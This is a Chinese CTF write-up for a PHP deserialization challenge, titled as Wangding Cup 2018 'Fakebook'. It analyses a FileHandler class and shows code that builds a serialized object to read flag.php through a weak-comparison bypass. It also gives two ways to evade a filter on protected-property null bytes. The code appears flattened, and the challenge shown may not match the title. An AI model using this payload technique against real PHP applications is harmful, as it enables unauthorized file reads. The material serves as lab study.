当前位置: 代码迷 >> 综合 >> [buuctf][网鼎杯 2018]Fakebook 构造反序列化
  详细解决方案

[buuctf][网鼎杯 2018]Fakebook 构造反序列化

热度:34   发布时间:2023-11-04 23:07:34.0

源码分析

get方法获得str
if(isset($_GET{
    'str'})) {
    $str = (string)$_GET['str'];if(is_valid($str)) {
    $obj = unserialize($str);}}

反序列化赋值给obj
看看这个类

class FileHandler {
    protected $op;protected $filename;protected $content;function __construct() {
    $op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {
    if($this->op == "1") {
    $this->write();} else if($this->op == "2") {
    $res = $this->read();$this->output($res);} else {
    $this->output("Bad Hacker!");}}private function write() {
    if(isset($this->filename) && isset($this->content)) {
    if(strlen((string)$this->content) > 100) {
    $this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {
    $this->output("Failed!");}}private function read() {
    $res = "";if(isset($this->filename)) {
    $res = file_get_contents($this->filename);}return $res;}private function output($s) {
    echo "[Result]: <br>";echo $s;}function __destruct() {
    if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用
类中的成员
op=1    filename      content 长度小于100    写文件
op=2    filename 	读文件     
析构函数 op:2--->1   如果op=2则修改成1,再用空文件写入覆盖,所以不能让他成功执行,由于op==="2"用的是字符串强比较,故而可以利用弱类型比较让op=1 (int)绕过if判断

构造反序列化

注:类名要相同,成员名字也要相同

class FileHandler
{
    protected $op;protected $filename;protected $content;public function __construct($op,$filename,$content){
    $this->op=$op;$this->filename=$filename;$this->content=$content;}}$ccc=new FileHandler(2,"flag.php","accc");$key=serialize($ccc);echo($key);
得到
O:11:"FileHandler":3:{
    s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:4:"accc";}

绕过过滤

如果是protected则会有无法显示的字符\x00*\x00,且ascii为0,会被过滤
如果是private则会在变量名前加上\x00类名\x00
一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:echo base64_decode($str);

本题有两种方法绕过过滤

一:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
二:把s改成大写,以16进制表示

重要

php7.1+版本对属性类型不敏感
类名要相同,成员名字也要相同
  相关解决方案